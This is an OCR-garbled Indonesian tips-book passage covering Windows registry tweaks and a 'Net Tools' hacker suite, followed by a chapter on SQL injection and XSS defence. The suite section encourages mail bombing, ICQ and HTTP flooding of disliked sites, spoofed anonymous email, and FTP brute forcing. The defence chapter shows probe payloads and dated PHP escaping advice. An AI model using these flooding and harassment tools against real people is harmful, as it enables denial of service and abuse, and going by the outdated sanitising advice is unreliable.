tombol Start. Untuk mengatasi masalah Ini, langkahnya sebagai berikut:
1. Jalankan Regedit.
2. Masuk ke folder HKCR\Folder\Shell.

3. Hapus subfolder Explore dan Open.

Mengganti ProductKey dan RegistereOwner Windows

Jika ingin mengganti productkey & registereowner windows Anda dengan

nama Anda sendiri, maka caranya sebagai berikut:
1. Jalankan Regedit.

2. Masuk ke folder HKLM\Software\Microsoft\windows\current

Version.

3. Arahkan pandangan Anda ke string (jendela regedit sebelah

kanan), kemudian klik kanan RegisteredOwner.

4. Pilih Modify lalu ketik nama Anda.

Buat Logo OEM dan Teks Support Information
di Windows

Jika Anda sering mengutak-atik PC, Anda pasti sering menginstal
windows. Nah, jika ada kolega yang meminta Anda untuk menginstal
windows mereka, Anda bisa memajang foto Anda dan alamat kantor di

windows mereka. Caranya sebagai berikut:
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1. Langkah awal, persiapkan dahulu foto Anda yang paling menarik.
Anda bisa mengubah resolusinya menjadi 180x114 pixels agar
proporsional dengan windows OEM, dan ubah ekstensinya
menjadi *BMP. Kemudian simpan foto tersebut dalam direktori

C:\Windows\System.

2. Jalankan program NotePad. Setelah itu buka dan edit isi file
OEMINFO.INI yang terdapat pada folder C:\Windows\System
Anda.

3. Ketikkan teks yang Anda kehendaki. Lihat kodenya seperti

gambar di bawah ini.

i8]

File Edit Format View Help

[General] =
Manufacturer = Adephia Corp, Indonesia
Model = Intel

SupportURL = hitp://google.com/

[ICW]

Product =

[OEMSpecific]

SubMaodel =

SerialMo =

QEM1 =

QOEMZ = Lokasi pabrik: Indonesia|
[Support Information]

Linel = Nama : Adelphia

Line2 = E-Mail : adelphia@yahoo.com
Line3
Line4
Line5
Line&
Line7 —

Lines =
=

4. Untuk melihat perubahan yang sudah Anda lakukan, klik kanan
ikon My Computer lalu pilih Properties.
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Catatan: jika Anda menggunakan windows XP, ganti nama folder
pada poin 2 menjadi C:\Windows\System32.

Menghapus Daftar Program dari Add/Remove
Programs

Selama bekerja di windows, Anda pasti sudah biasa menghapus (uninstall)
program-program aplikasi yang sudah tidak Anda perlukan lagi dari
dalam sistem. Namun, ketika program itu dihapus, ternyata nama
programnya masih saja muncul di dalam daftar Add/Remove Programs.

Untuk mengatasinya, lakukan langkah-langkah berikut:

1. Jalankan Regedit. Kemudian masuklah ke dalam folder
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Unin
stall.

2. Jika Anda sudah melihat nama-nama programs sebelumnya yang
sudah Anda install di dalam folder Uninstall, carilah nama
program yang ingin Anda hapus, kemudian klik tombol mouse

kanan lalu pilih Delete.

3. Restart komputer Anda.
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Menghapus Recycle Bin dari Desktop

Di windows, salah satu program yang tidak bisa dihapus dari desktop
adalah keranjang sampah (Recycle Bin). Tapi jika Anda memang benar-

benar ingin menghapusnya, caranya sebagai berikut:

1. Jalankan Regedit. Kemudian masuk ke dalam folder
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\
Dekstop\NameSpace.

2. Klik kanan di atas key {645FF040-5081-101B-9F08-
00AA002F954E} lalu pilih Delete.

Mematikan Bunyi Beep

Bunyi beep yang keluar dari komputer secara tiba-tiba terkadang bisa
membuat kita kaget. Oleh karena itu, daripada merasa terganggu, ada

baiknya kita menonaktifkan bunyi beep dengan langkah sebagai berikut:

1. Jalankan Regedit lalu masuklah ke dalam folder
HKCU\ControlPanel\Sound.

2. Kemudian pada key beep, ganti nilai string-nya menjadi No.

3. Restart komputer Anda sekali lagi.

Menonaktifkan Bunyi F3

Ketika Anda menjalankan program windows explorer atau internet
explorer, Anda dimungkinkan untuk melakukan pencarian (search)
dengan cara menekan tombol F3. Tapi jika Anda mau, Anda bisa saja
menonaktifkan fungsi penekanan tombol ini agar tidak berfungsi lagi.

Langkahnya sebagai berikut:

1. Jalankan Regedit, lalu masuklah ke dalam folder
HKCU\Software\Policies\Microsoft\InternetExplorer\

Restrictions.



2. Kemudian dari dalam folder Restrictions, buatlah string baru

dengan nama NoFindFiles lalu isikan angka 1 sebagai nilainya.

Modifikasi Program dengan Resource Hacker

Aplikasi ini adalah sebuah freeware utility untuk view, modify, add,
rename and delete resources in win 32 executables, dan resource files.
Program ini dimungkinkan untuk membongkar semua sumber berbagai
jenis file, khususnya file-file executable yang ditulis dalam format win 32
bit. Setelah dibongkar, Anda bisa melihat isinya, melakukan perubahan,
menghapus atau menambahkan resources baru ke dalam file-file tersebut
tanpa merusaknya. Instal aplikasi ini. (Untuk mendapatkan filenya,

silakan email penulis: adelphia.andrea@yahoo.com.)

Pengoperasian
Untuk memodifikasi aplikasi, lakukan dengan langkah berikut:
= Jalankan aplikasi Resource Hacker.

* Kemudian klik menu File > Open, atau bisa juga dengan cara
menekan tombol Ctrl+O untuk memilih salah satu file
executable untuk memilih file yang berekstensi exe, dll, ocx, cpl,

scr atau file binary dalam format RES.
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Kemudian setelah selesai memilih file, maka persis di bawah file
akan tampak beberapa folder yang berisi modul atau objek
program yvang telah Anda load tadi. Untuk memulai proses

modifikasi, kliklah salah satu dari folder tersebut.
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Control Editor [ |

Caption:

s
Left  Top:  Width: Height ID: —
0 0 257|144 1103 -

Clags nams: Help ID:  Tab Order:
[sTaTic] ] 1

Style: 0x[5000000E Exstyle: 0x[00000000
55_LEFT A |'WS_Ex_DLGMODALFRAME
55_CENTER “Ww'S_Ex_CLIENTEDGE

55_RIGHT WiS_Ex_STATICEDGE

55_ICON

55_BLACKRECT
55_GRAYRECT
55_WHITERECT
55_BLACKFRAME
55_GRAYFRAME
55_wHITEFRAME
S5_LUSERITEM
55_5IMPLE
55_LEFTNOWORDWRAP
S5_BITHAP

Mengubah Logo Program

Sebagi contoh di sini penulis akan mengubah logo aplikasi mIrc dengan

foto penulis. Caranya sebagai berikut:
1. Load filemIrc dengan resources hacker.

2. Klik kanan salah satu menu atau field yang akan diubah sesuka

Anda > Edit Control.
Insert control Chrl+1
Edit control Ctrl+0

Delete control

Edit Dialzg Ctrl+E
Hide Dialcg

3. Di sini penulis mengubah Caption, lalu klik OK.
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4.

5.

Control Editor

Caption

|Dy Andrea Adelheid
Left:  Top: Width: Height: ID: F——
2 [ [0 [ E 4‘

55_BLACKRECT

55_GRAYRECT

S55_WHITERECT
S5_BLACKFRAME
55_GRAYFRAME
55_WHITEFRAME

S5_USERITEM

55_SIMPLE
S5_LEFTNDOWORDWRAP
S5_BITMAP o

Clags name: Help ID:  Tab Order:
[sTamc 0 [+

style: 0x[50020002 Exstyle: 0x[00001000
SE_LEFT A | WS_EX_DLGMODALFRAME
S5_CENTER 'wS_EX_CLIENTEDGE

S5_RIGHT WS_EX_STATICEDGE

S5_ICON

Jika berhasil klik tombol Compile Script, maka akan seperti

gambar di bawah ini.

Lalu klik Save File As. Kemudian simpan di desktop sebagai

contoh, dan pada tipe file pilih all files kemudian berikan nama

file dengan ekstensi *exe.
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6. Sekarang pindahkan file irc2.exe tadi ke direktori instalasi mirc.
Misalnya C:\Program Files\mlIrc. Klik Continue jika muncul

jendela peringatan.

7. Jalankan aplikasi mIrc dan lihat hasilnya pada kotak dialog awal.



Net Tools, AlatHacker Serbaguna

Untuk Anda yang ingin berkecimpung di dunia hacker, cracker, phreaker,
atau siapa pun mereka yang dicap sebagai "penjahat cyber", tool adalah
sesuatu yang memiliki peran penting. Selain penting, mereka juga
menganggapnya sebagai senjata yang bernilai tinggi. Salah satunya adalah
net tools yang dinilai sangat serbaguna karena bersifat up to date. Anda

bisa mencari aplikasi di Internet atau menghubungi penulis melalui email.

Fungsi dari Masing-Masing Net Tools

Setelah Anda instal, secara umum jumlah keseluruhan dari aplikasi yang
ada di dalamnya adalah sebanyak 32 buah. Adapun daftar urutan
selengkapnya akan dibahas berikut ini.

Anonymous Mail Session

Fungsi utama dari email ini adalah untuk mengirim email tanpa identitas
atau yang lebih marak dikenal sebagai email kaleng. Kenapa disebut email
kaleng? Karena Anda dimungkinkan memanipulasi identitas Anda yang
sebenarnya, misalnya seperti nama, alamat email, dan SMTP. Dalam hal
ini, Anda cukup memasukkan sembarang nama dan alamat email Anda
ke dalam fields sender’s name dan sendre’rs email address. Kemudian
pada field Receivers Name dan receivers email name address, isikan
alamat email dan alamat email orang yang akan menerima email Anda.
Setelah itu, tentukan salah satu host SMTP yang akan Anda gunakan
sebagai pengirim e-mail. Jika surat telah diketik, klik Send.
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I d Anonym E-mail with Attachment Support

== e

Newy Email Send

Madail Bombing Session

Fungsi tool ini hampir sama dengan fungsi tools yang telah dijelaskan
sebelumnya (anonymous mail session). Perbedaannya hanya sedikit saja,
yaitu Anda dimungkinkan untuk mengirim email sebanyak-banyaknya
hanya dengan sekali klik. Itulah sebabnya kenapa aplikasi ini dinamakan
mail bomb. Tujuannya untuk menyesakkan mailbox orang lain agar

menjadi penuh. Jika mailbox sudah penuh, maka orang tersebut akan

kesulitan untuk membuka emailnya sendiri.

Exit



Xl E-mail bomber =] @
Receivers E-mail Addresses Your Name No Qutgoing SMTP Mail Server Selected.
Your-Mail Address Send Mail

Receivers E-mail to add - -
| | Add Receivers E-mail To List

Cancel Send

Subject Remove Selected Email

| | Clear Receivers List

Message

() mwearmwc.mall home. cam
() mailgate. shopping. com
() smtp. astreet.com

0 addresses in the list )
(") mx1.poga.com

Load List Save List

ICQ Flooding Session

Fungsi tool ini tidak ada bedanya dengan fungsi tool yang dibahas
sebelumnya (mail bombing session). Tujuannya untuk membuat ICQ

orang lain kebanjiran pesan.

Ping Session

Ping adalah singkatan dari Packet Internet Groper, yaitu sebuah tool yang
berfungsi untuk memeriksa kualitas koneksi data antara dua buah host

yang saling berhubungan. Ping merupakan aplikasi standar TCP/IP.

£l Pinger o B |
IP or Host:
127.00.1 Ping(s): 4
Ping Close Packet: 32

Reply from 127.0.0.1: Bytes =32 RIT =0ms TTL = 128
Reply from 127.0.0.1: Bytes =32 FTT =0ms TIL = 128
Eeply from 127.0.0.1: Bytes =32 FTT =0ms TIL = 128
Eeply from 127.0.0.1: Bytes =32 FIT =0ms TIL = 128

Average Speed: 0.
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Port Flooding Session

Dengan tool ini, Anda dimungkinkan untuk mem-flood salah satu port
(servis) yang sedang aktif di komputer orang lain, dengan cara mengirim

bit data (packet) sebanyak mungkin.

Port Scanning Session

Fungsi tool ini adalah untuk melacak (probing) servis-servis apa saja yang
tersedia di server target. Jika sudah diketahui maka proses hacking akan

menjadi jelas dan terarah.

" d] Port Scanner =] ===
IP: 127.00.1 Ports: 1 | To |g5335

Opzn Ports: - .
Max Connections:
L

Scan

Clear List

Ports Scanned:

[ 0%

Close

Extreme Flood Session

Ini adalah sebuah tool yang berfungsi untuk mem-flood (membanjiri)
protocol UDP (user datagram protocol). UDP adalah semacam TCP yang
melakukan paket data kurang dari 1500 karakter dan berlaku pada lapis
transport. Menurut penulis, efek yang dihasilkan dari tool ini jauh lebih

dahsyat daripada ping flooder.

HTTP Flood Session

Apabila suatu saat nanti Anda menemukan salah satu situs (homepage)

yang tidak Anda sukai, dan kemudian Anda ingin mengusiknya, maka
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tidak ada salahnya Anda mencoba tool yang satu ini. Secara teknis, tool
ini memang direkomendasikan untuk melakukan hal itu. Selain praktis,
cara menggunakannya pun cukup mudah. Anda cukup memasukkan
alamat IP beserta nomor port http-nya. Kemudian isikan koneksi
sebanyak yang Anda inginkan ke dalam field connections, lalu akhiri

dengan mengklik tombol Start.

o HTTP Flooder ==

IP Ta Fload Part  Conkections Active
127.0.01 80 100 i
D etailz Start

IP Sniffer Session

Secara teknis, fungsi tool ini sebenarnya hampir sama dengan fungsi tool
yang telah dijelaskan sebelumnya, yaitu untuk melacak servis di komputer

orang lain. Selain itu, cara pengoperasiannya pun bisa dikatakan sama.

Start Targets View Filters Logging Plugins Help
Connections -« | Connection data =
10.1.0.51:2327 - 10.1.0.1:23

User Access Verification.

PRESMONd: . .vcasvsiaaiin e i s VELEG cC1500. .
6389E>eenn,

Password: cisco..

65689E#sshh ssppaannnniinngg tt.. ... .

G65059E#sh spanning-tree yvllaann 77..

VLANGOET.

Snanninn_tres_enahled ncotocnl ises

Split View Kill Connection

39 protocol dissectors

53 parts monitored
7587 mac vendor fingerprint
1698 tcp OS5 fingerprint
2183 known services
Starting Bridged sniffing..
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Winsock Scanner

Winsock adalah singkatan dari windows socket. Yaitu sebuah program
tambahan agar sistem operasi windows dapat tersambung ke jaringan
berprotokol TCP/IP. Dengan tool ini, Anda dimungkinkan untuk
mendeteksinya. Caranya, masukkan alamat IP komputer jauh (remote)

yang akan di-scanning, kemudian klik tombol Start.

I Port Scanner [E=R(ECR(E<=
it 127001 Pos: | 1 | To 63533
Ports:
Open Port Max Connections:
oa
Scan
Clear List
Ports Scanned: 0
| 0%
Close
Internet Activity

Jika Anda adalah orang yang sangat berhati-hati ketika terhubung ke
internet, maka sebaiknya Anda memanfaatkan tool yang satu ini. Dijamin
Anda pasti akan selalu merasa aman (secure). Ada beberapa hal penting
yang diberikan tool ini untuk Anda, yaitu ketika Anda terhubung ke
internet, Anda bisa dengan mudah memantau aktivitas semua kegiatan
yang ada di komputer Anda. Apakah ada orang lain (intruder) yang
berusaha masuk ke dalam atau tidak? Kemudian, jika komputer Anda
berfungsi sebagai server, Anda bisa dengan mudah melihat semua alamat

IP (internet protocol) yang telah masuk ke dalam komputer Anda.
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x
Port Range

Start: 6403
End: = 65535

[ Clear ]

Exit About Options

Scanning 127.0.0.1 : 6403

TCP Table Session

Tool ini hampir sama dengan tool yang dijelaskan pada poin sebelumnya
(internet activity). Fungsinya untuk menginformasikan seluruh alamat IP
yang masuk ke dalam komputer kita, termasuk informasi nomor port

(servis) yang sedang aktif di komputer kita.

bl TCP Packet Sniffer ol @ ===
New s0p Srting St
IP header | Sport ‘ IP Destination ‘ Part Protocol Time |
< >

|§ Packet | 6 Data] N DataPacket
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Add Bytes Session

Jika Anda ingin memperbesar ukuran byte sebuah file tanpa merusaknya,

maka Anda bisa menggunakan tool ini.

Website Scanner Session

Fungsi tool ini untuk memeriksa situs (website). Jika proses scanning
telah selesai dilakukan dan berhasil, maka akan ada beberapa informasi

penting yang diberikan kepada kita.

Encryption Session

Ini adalah sebuah tool yang berfungsi untuk menyandikan (meng-
enskripsi) data atau informasi agar tidak bisa dibaca oleh orang lain yang
tidak berhak. Selain berfungsi untuk mengenskripsi (encryption), tool ini
juga berfungsi untuk mendeskripsi (descryption), kebalikan dari

encryption.

" 4] Encryption =] @ (==
Tent
Put some text here to be encrypted

“four password here

Encrypted Encrypt

Dreciypted Dreciypt

SpeedTest
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Webpage Scanner Session

Fungsi tool ini untuk memeriksa karakteristik sebuah halaman web.
Adapun bentuk informasi yang bisa diperoleh dari hasil pemeriksaan

tersebut bisa Anda lihat pada gambar di bawah ini.

X! Webpage Scanner o] B |-
hitp:/ fusers. pandora. be/ ahmadi Get

<HTML><HEAD > <meta http-equiv="Content-Type'" content="text/html; charset=is A
tholder; color #337; padding-tap: 4px }</style> <script type=""text/javascript""s functi
sting(0,pl:} if\[x=d[n]l%&d. all] x=d.all[n]; for [i=0:1x&%i<d.farms. length;i++)] k=d.forms]
e of Mohammad Ahmadi Bidakhvidi'];" marginheight="0" marginwidth="0"> < zcript =
height','60",'sre’,'mab’,'quality’,'high','pluginspage’, hitp: /Awww. macromedia. com/gos
out=MM_zwaplmgR estore(] href="index. htm"> <IMG height=16 src="mab00
<TR» <TD clazz=dark valign=top align=midde width=136 bgColor=Hf77{4>
width, right width and height of the top and bottom of the bordermymenu. mainborde
"0 Software", “software. htm'Jmymenu. addh enul webtools™,"0 Web Tools", “wet
. "exejoin. htm" Jmymenu. addS ubMenulscripting”, ™', "0 Windows Exploits”, "explc
d Broadcasted Emails”, "http: //mabszoft com/mailbroadcaster/ sendbroadcastedem
<I- Search Google -»</P>  <center:<form action="http: //www. google. com,
lue="en""> < /inputs> < Ad> < /tr> < tablex < forms < /centers <1 Search Google > <Ps<
<TR» <TD background=mab00r/leftbg. gif> <IMG heig
bout iy services, of simply need more information
&_color = "FFFFFF";google_ad_width = 468;goo0gle_ad_height = 60;google_ad_for
ools B.x] </zpan: <font color="#000000"><BR>  This iz the latest version of the M v

< >

Subnet Scanner Session

Kegunaan tool ini untuk mendeteksi pemakaian pengenal jaringan
tunggal (single network identifier) di dalam multi jaringan. Secara teknis,
subnet merupakan bagian dari TCP/IP. Adapun bentuk informasi dari
bentuk pendeteksian tersebut, bisa Anda lihat pada contoh di bawah ini.

"¥I HTTP Subnet Scanner (Open Port 80 Subnet Scann...| = | = [

P 80 |45 | 163 | |18 Time Out[s]: |2

Clazed Port Open Part

80461635  NO Server
80461634 NO Server
80.46.163.3  NO Server
80461632 NO Server
804616312 NO Server
804616311 NO Server
804616210 NO Server
80461639  NO Server
80461638  NO Server
80461637 MO Server
80.46.163.6  NO Server
804616316 NO Server
8046162156 NO Server
80.46.163.14  NO Server
804616313 NO Server

Scan Save Reslts Stop
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Open FTP Scanner Session

Kegunaan tool ini untuk mengintai host yang sedang menjalankan servis
FTP (FTP Server). Selain itu, Anda juga dimungkinkan untuk melakukan
brute force attack.

o CONNECTEDMII! =] = =

Configuration

IPAddiess 206 | |21€ . 82 | (92 []ScanthisIP only
Passwords

Login 1 Login 2 Login 2  Hide P "
() Hide Passwds
Userbame 1ot guest anarymaous )
() isible P. d
Password ot quest nobraine@hotmail.cc & Vishls Passnds
=1 =« | CONNECTED!!
LR T

Connections
Detail: Failed logins Can't Connect

Success

Share Session

Apabila Anda ingin membuat komputer Anda berfungsi sebagai server
bagi komputer-komputer lain, maka Anda bisa memanfaatkan tool ini.

Selain bisa dipakai untuk media chatting, file juga bisa di-share.

I ShareADD [= | ® [
Connect 127.0.01
Netname | Documents

Remark Sharing D ocuments

Path Share Remate [only if ip <> 127.0.0.1 or null]
c:hwindows

Fassword [max & length.optionall: | passward

Addshare Delshare
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Fast Port Scanner

Kegunaan fast port scanner adalah untuk melihat servis-servis apa saja
yang tersedia di server target. Sama seperti port scanning session. Yang

membuatnya sedikit berbeda hanya soal kecepatan yang dimilikinya.

X! Super Fast Port Scanner e =2 (==
IP Address Ports to Scan
127.0.0.1 ) to 32676
Max Connections
50 Stop
Options
¥ Identify Known Ports
Open Ports
(remote) Port #135, 127.0.0.1
(remote) Port #445, 127.0.0.1
Port 451 403 ports scanned
Scanning 58 ports per second 7 seconds elapsed

Bounce Session

Dalam terminologi email, bounce biasanya dipakai sebagai istilah yang
menyatakan email yang tidak bisa dikirim, karena adanya kesalahan
dalam penulisan alamat tujuan, sehingga akan dikembalikan lagi ke
alamat pengirim. Di IRC (internet relay chat), bounce dipakai sebagai
istilah untuk memantulkan suatu host ke host server IRC melalui

program yang disebut dengan BNC, PsyBNC, atau Eggdrop.
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4 Bouncer =

File View Options

10.227.0.32

User messages: Clear | [+ Scrall

| Scroll

is listening on port

Port Sweeper Session

Jika Anda ingin mengintai servis-servis apa saja yang tersedia di server
yang akan menjadi target hacking, tapi Anda tidak tahu alamat IP server

yang menjalankan servis tersebut, maka sebaiknya Anda menggunakan

tool ini.
I/ Quick Scanner W...| = | & 3]
Configuration
IP Address: 127.0.0.1
Ports: to  (5EO00
Cancel Options
Scanning started on 02-17-2014 at 16:57:07
Port: 135 - Open
|
Scanning - Port 181
UDP Chat Session

Ini adalah sebuah tool yang menyediakan layanan pengantaran datagram

connectionless pada lapisan transport.
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I UDPflo.. | = | B =5
127.0.01
Data
Stop
-Speed +
Telnet Server Session

Aplikasi ini berfungsi untuk menyediakan layanan telnet. Orang lain bisa
masuk (log on) ke dalam komputer Anda meskipun sistem operasi
komputer Anda tidak difungsikan sebagai server. Cara pengoperasiannya
sangat mudah. Anda cukup mendaftarkan nama-nama user beserta kata

sandi (password) yang Anda perbolehkan masuk.
&£ Telnet o] =[]

in. telenet.be 110 Connect

IP Calculating Session

Tool ini berfungsi untuk mengonversi alamat IP. Apa saja yang bisa
dikonversi? Jika Anda bertugas sebagai pengelola jaringan, mungkin ada

baiknya tool ini dimanfaatkan.
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A Subnet MAC Address Scanner = =

21.164.160.1 Di MAC Add This application is made and
et 1scover HAL AJArEsSEs | igned for Net Tooks © 2008

Local IP dan Host

Aplikasi ini berfungsi untuk menginformasikan alamat IP dan nama Host

komputer Anda. Contohnya bisa Anda lihat pada gambar di bawah ini.

I GetGlobal location | =] © [

External IP Address :
IP Long Address

Global Location :

Locate Me

IP Resolver

Ketika Anda di Internet, mungkin Anda perlu me-resolve beberapa host
atau domain ke dalam format IP. Dengan menggunakan tool ini, Anda
tidak perlu repot-repot lagi masuk ke dalam situs yang menyediakan
fasilitas itu.

-;;J Resolve Host-IP EI = @

Host > IP

Host Get
i

IP->Host
i3 Get

Host Name
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Mask IP

Jika suatu waktu Anda ingin mengakses sebuah situs, Anda mungkin
tidak ingin alamat IP Anda yang asli diketahui oleh pemilik situs

(webmaster). Untuk menyiasatinya, ada baiknya Anda gunakan tool ini.

Hasts:
Host Name | P &ddress | Last Checked | HDSTS

Add Host Update now

Actions
Dizplay a natification window

[ Play a sound Loop Sound

[1Update HOSTS entry.
The logs are zaved in C:\Program FileshMet Toolshiplog. bt

Check every  |gn | minutes.

Anonymous Downloader

Ini adalah sebuah tool yang berfungsi untuk mendeteksi, apakah ada
kesalahan pada saat melakukan proses download. Apakah paket data yang
diterima telah mengalami perubahan atau tidak. Cara pendeteksiannya
adalah, data yang diterima akan dikalkulasi berdasarkan data original dan

proses transmisinya.

Make IRC Server

Melalui aplikasi ini, Anda dimungkinkan untuk membuat komputer
Anda berfungsi sebagai layanan penyedia layanan IRC (IRC Server).

Adapun cara pengoperasiannya akan dijelaskan sebagai berikut:
1. Jalankan terlebih dahulu Net Tools.

2. Pilih menu New > Make IRC Server.
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3. Setelah itu dari jendela IRCD, klik menu M.A.B, lalu pilih
Options.

4. Jika jendela IRCD Options sudah terbuka, klik tab General. Lalu
ketikkan nama host atau alamat IP komputer Anda ke dalam

field Server Name.

Catatan: Jika komputer Anda tidak dilengkapi kartu jaringan,
Anda bisa memasukkan alamat IP localhost komputer Anda
dengan nominal 127.0.0.1 sebagai nama server IRC Anda,
kemudian pilih OK.

Untuk memastikan apakah server IRC yang Anda setting tadi sudah
berfungsi atau tidak, cobalah jalankan program mIRC Anda.

Network Info

Aplikasi ini memiliki tiga buah fungsi. Fungsi yang pertama untuk
menampilkan konfigurasi alamat IP lokal (IP Config), seperti yang
tampak pada gambar di bawah.

L Traffic Visualiser - version 1.0.0 = =
Command Filter View Help
Vp om0 (weweee | B ns R F

Source srcport Destination destport  Proto Traffic Speed  Average sp..

Select adapter hom Adapter list and press Star button ta begin

Ready bfs:0 avrbfs: 0
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Lalu fungsi yang kedua untuk memeriksa keberhasilan hubungan ke host
tertentu (sama seperti fungsi Ping Session). Adapun fungsi yang ketiga,
adalah untuk melacak rute dalam jaringan TCP/IP yang akan atau sedang

dilewati host komputer lokal menuju host komputer lain.

k%
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BAB 06

MENCEGAH HACKING WEBSITE

SQL Injection merupakan serangan pada sebuah website dengan
mengizinkan user untuk melakukan input data tanpa adanya filter pada
kesalahan perintah SQL. Nah, bagaimana cara mencegah serangan SQL
Injection pada website kita. Pada tutorial kali ini akan dibahas mengenai

pencegahan SQL Injection agar website kita aman.

Umumnya sintak SQL yang sering dipakai pada proses pembuatan adalah
sintak DML (Data Manipualtion Language) yang berupa INSERT,
UPDATE dan DELETE. Untuk pengiriman data biasanya diperlukan

sebuah url, misalnya untuk menampilkan data dengan id 21.

[SELECT * FROM nama_tabel WHERE id="217]

Jika ditampilkan dengan URL:
http://www.tahukahkau.com/index.php?id=21

Dengan sintak tersebut maka database akan mengembalikan data
berdasarkan id sama dengan 10. Jika kita sedikit menambahkan salah satu
karakter khusus pada URL di atas, yaitu berupa single quote (‘) misalnya
seperti http://www.tahukahkau.com/index.php?id=21’

Query berdasarkan URL diatas :
SELECT * FROM nama_tabel WHERE id=21"
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Maka akan menampilkan pesan error, karena database tidak dapat
menerima query berdasarkan parameter yang dikirim oleh URL tersebut.
Dapat dilihat query mengeksekusi dua buah single quote pada akhir

sintak. Pesan error yang ditampilkan berdasarkan query di atas:

#1064 - You have an error in your SQL syntax; check the manual
that corresponds to your

MySQL server version for the right syntax to use near """ at
line 1

Nabh, dari sintak error tersebut merupakan salah satu kesalahan dari sintak
yang bisa memberikan kesempatan kepada para hacker untuk bisa

merusak website kita. Bagaimana caranya mengatasi masalah tersebut?

Dalam sintak PHP sendiri, telah menyediakan function untuk mencegah
terjadinya kesalahan sehingga bisa terhindar terjadinya SQL Injection,

seperti:

nysql _real _escape(String) atau nysqgl _real _escape_string(String) |

Contoh penggunaan method tersebut sebagai berikut:

$id = mysgl_real_escape($_GET[“id*]);
SELECT * FROM nama_tabel WHERE id="$id”

Dengan menggunakan function tersebut, jika URL ditambahkan single
quote (‘) pada akhir URL, dihasilkan sintak SQL:

SELECT * FROM nama_tabel WHERE id="217\~

Tanda garis miring dari sintak merupakan hasil penggunaan function
mysql_real_escape(String) yang bertujuan untuk tidak mengikutsertakan
single quote sehingga sintak query tidak mengeksekusi single quote

tersebut.

Pada umumnya sintak SQL yang sering dipakai pada proses developing
atau pembuatan sebuah situs adalah sintak DML (Data Manipulation
Language), yakni INSERT, UPDATE dan DELETE. Pada umumnya

sintak yang dikirim seperti ini:
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select * from “tblBerita” where “id” = 10

10 didapat dari hasil parsing parameter url

http://www.website.com/index.php?id=10

Maka pada penulisan sintak php akan menjadi seperti ini:

$SQL=""select * from “tblBerita" where “id~ = "".$ GET["id"].""";

Pada proses eksekusi normal sintak tersebut, database server akan
memberikan balikan hasil sesuai parameter yang dikirimkan. Namun bila
kita meracuni parameter yang dikirim melalui url dengan sebuah karakter

khusus, yaitu single quote (') seperti ini:
http://www.website.com/index.php?id=10'

Maka SQL query tersebut tidak akan bisa dieksekusi dan database server

akan memberikan balikan berupa pesan error seperti berikut:

#1064 - You have an error in your SQL syntax; check the manual
that corresponds

to yourMySQL server version for the right syntax to use near
at line 1

Mengapa? Karena SQL yang dikirimkan ke database adalah seperti ini:

select * from “tblBerita” where “id~ ="10""

Perhatikan setelah nilai 10 terdapat dua buah single quote. Hal inilah yang
menyebabkan error, dan hal inilah yang menjadi celah sebuah situs dan

dengan mudah dieksploitasi memakai metode SQL Injection.

Nah, bagaimana kita mengatasi hal ini? Ya, caranya dengan melakukan
sanitasi (filter validasi pada form php) pada data yang dikirimkan dari

url.

PHP sendiri telah menyediakan method khusus untuk menangani hal ini,
yaitu mysql_real_escape atau mysql_real_escape_string. Namun kita juga
bisa membuat sebuah method khusus untuk mengerjakan hal ini, yang

penting tujuannya untuk sanitasi data yang dikirimkan.
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Saat penggunakan method itu maka sintak pengiriman SQL Query ke

database server akan menjadi seperti ini:

$SQL=""select * from “tblBerita" where “id" =
" _mysqgl_real_escape_string($_GET["id"]).""";

Dan query-nya akan menjadi seperti ini bila ada penambahan single quote

pada url:

select * from “tblBerita” where ~id ="10"\"

Dengan demikian, database hanya akan membaca 1 singel quote di depan
angka 10 dan 1 single quote di belakang angka 10, sedangkan 1 karakter

single quote tambahan di belakang angka 10 akan terabaikan karena
adanya karakter back slash (\).

Tips:

*  Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL

Server yang berjalan.

» Matikan fasilitas-fasilitas standar seperti Stored Procedures,

Extended Stored Procedures jika memungkinkan.

» Batasi panjang input box (jika memungkinkan), dengan cara mem-
batasinya di kode program. Jadi si cracker pemula akan bingung
sejenak melihat input box-nya tidak dapat di-inject dengan perin-

tah yang panjang.

» Filter input yang dimasukkan oleh user, terutama penggunaan

tanda kutip tunggal (Input Validation).

=  Ubah "Startup and run SQL Server" menggunakan low privilege user

di SQL Server Security tab.
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Patch XSS

XSS merupakan salah satu jenis serangan injeksi code (code injection
attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode
HTML atau client script code lainnya ke suatu situs. Serangan ini seolah-
olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang
dapat mem-bypass keamanan di sisi klien, mendapatkan informasi

sensitif, atau menyimpan aplikasi berbahaya.

XSS yang paling banyak digunakan adalah jenis GET dan POST.
Salah satu contoh yang akan dibahas adalah jenis GET. Lihat gambar di

bawah ini.

Masukkan script alert sederhana ini pada URL yang mempunyai request
GET.

http://1ocalhost/Momonimo/search?search_key=<script>alert("XSS
TRUE®)</script>

Jika halaman tersebut (yang mempunyai database) dapat melakukan XSS,

maka akan tampil alert seperti gambar berikut.
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Mengatasi XSS

PHP sangat andal dalam melakukan konversi string dengan cepat. Tetapi
jenis apa yang akan Anda lakukan jika hal di atas terjadi? Saya melakukan
survey terhadap teman-teman programmer. Tidak sedikit yang menjawab

"Pakai saja htmlentities() atau strip_tags()".

htmlentities() memang dapat melakukan konversi tag-tag HTML, tetapi
bagaimana dengan Javascript? strip_tags() memang dapat melakukan
konversi tag-tag HTML dan PHP dengan NULL byte, tetapi bagaimana

dengan Javascript?

Lalu apa yang harus dilakukan? Saya memakai filter_var() dengan tipe

filter Sanitize (filter validasi pada form php). Caranya sebagai berikut:

filter_var($val, FILTER_SANITIZE_STRING);

Dan hasilnya adalah:

Berikut fungsi untuk keseluruhannya:

function xss_filter($val) {

$val = htmlentities($val);

$val = strip_tags($val);

$val = Filter_var($val, FILTER_SANITIZE_STRING);

return $val;

b

Simple SQL Injection Pacth

Pencegahan yang akan kita gunakan kali ini, yaitu mengabaikan query
yang disisipkan oleh peretas dengan menerapkan teknik casting nilai

parameter ke dalam tipe data integer.
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Pada umumnya dalam script halaman artikel, contoh: halaman.php, di

dalamnya terdapat perintah seperti berikut:

<?ph

$id = $ GET["id"];

/* script agar menampilkan halaman dengan id tertentu*/

?>

Perintah $i d = $_GET['id']; diatas digunakan agar bisa membaca
nilai parameter id untuk menampilkan halaman berdasar dari id tersebut.
Teknik casting dapat diterapkan pada script halaman.php dengan

menambahkan function abs dan int sehingga menjadi:

<?php

